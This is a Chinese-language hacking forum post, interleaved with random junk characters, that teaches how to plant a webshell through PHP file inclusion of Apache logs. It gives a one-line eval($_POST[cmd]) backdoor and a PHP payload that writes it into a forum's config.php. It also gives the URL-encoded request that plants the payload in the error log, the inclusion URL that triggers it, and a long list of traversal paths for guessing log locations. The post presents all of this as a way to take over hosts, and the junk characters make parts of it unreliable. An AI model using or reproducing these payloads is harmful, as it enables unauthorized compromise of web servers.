php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
9 s; m# C) q7 g! j
; P0 _# ^& l/ M" p) _比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
( L8 ^% q7 ~! J' A1 m9 k! _
% ~5 @1 O. o# }, z& ~4 {9 J- x到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
4 o7 B* G6 h# _转换为
% A/ B/ R/ E2 e: b7 Q* i%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
& T; @  `, @% |. Y# `, X9 Xconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
# ^) T' f) d/ ?. D- G. Y" {( k6 d6 Yfclose%28%24fp%29%3B%3F%3E
6 v0 F0 w. `2 t* e+ Z* `; N我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
, {7 Y! j* Q) h+ \" Y% `8 I3 t%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
" U  o0 d9 y/ `' m* ?& i%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
5 t& c6 ]% O$ `7 B# O: n2 D8 }8 Zcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
8 ^" g. L  i+ F7 Ghttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
0 p7 J- A! k* b# e
' s6 }, [1 l/ D2 b( o9 g0 ^这样webshell就写入成功了，config.php里就写入一句木马语句
9 q1 c# V1 W: lOK.
$ R) w0 c" [6 }5 E- Zhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
7 Y2 v) B. `; g5 h
4 G$ ~% ^7 [3 v% ?  xPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
  \0 J: H* U! c! s
其他的日志路径，你可以去猜，也可以参照这里。
# Z0 o4 s  z4 x) v+ ~5 P* x9 I../../../../../../../../../../var/log/httpd/access_log
4 b% v) [+ i# [' `$ m0 B/ \../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
4 U0 v" J4 D$ L/ }* w../../apache/logs/access.log
( b" t0 B7 P6 g# {, H../../../apache/logs/error.log
/ A$ H- A( w. j7 n../../../apache/logs/access.log
+ L* L! }. t7 L2 v../../../../../../../../../../etc/httpd/logs/acces_log
; \2 R3 ]* a" a5 N4 Z../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
) Y1 H- w# A. ?. L- i  ^8 B( V../../../../../../../../../../etc/httpd/logs/error.log
  V5 l7 \5 Y+ }. E9 \: M: j( X6 l../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
' |& L) I  g' e* q../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
+ K( N( h! B/ b: c% `! X: _* E* X../../../../../../../../../../usr/local/apache/logs/error.log
" f8 L: e, M9 Y! `9 b../../../../../../../../../../var/log/apache/error_log
2 Z7 _' E* O8 y, ?../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
/ z- ]6 G: q$ L( z../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
" q) p; ]: d/ ]7 I- R/var/log/httpd/error_log     
3 ~  G, V; F2 m+ o# L5 P/ ^% R../apache/logs/error.log     
../apache/logs/access.log
( \2 |+ k! Y2 U1 k1 B* V../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
: Q; r% x' N9 b8 D! L8 w../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
: `/ A) X* E; d/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
+ {9 m1 y  E1 k/var/www/logs/access_log
, n8 D2 x7 r, T% |4 }5 T/var/www/logs/access.log
, |$ F0 F5 p% B5 r1 L/usr/local/apache/logs/access_log
  w- Y  l& b  c; o9 T" I2 D- C: x/usr/local/apache/logs/access.log
- b2 x  U) w8 k, _5 ]/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
! m$ F* v- @4 |/var/www/logs/error.log
: g5 T5 |3 U" O, F& W$ _' r' t/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
, }/ {6 Y4 @9 y) H/var/log/apache/error_log
/var/log/apache/error.log
0 T- i) \, t+ g, O3 G/var/log/access_log
/var/log/error_log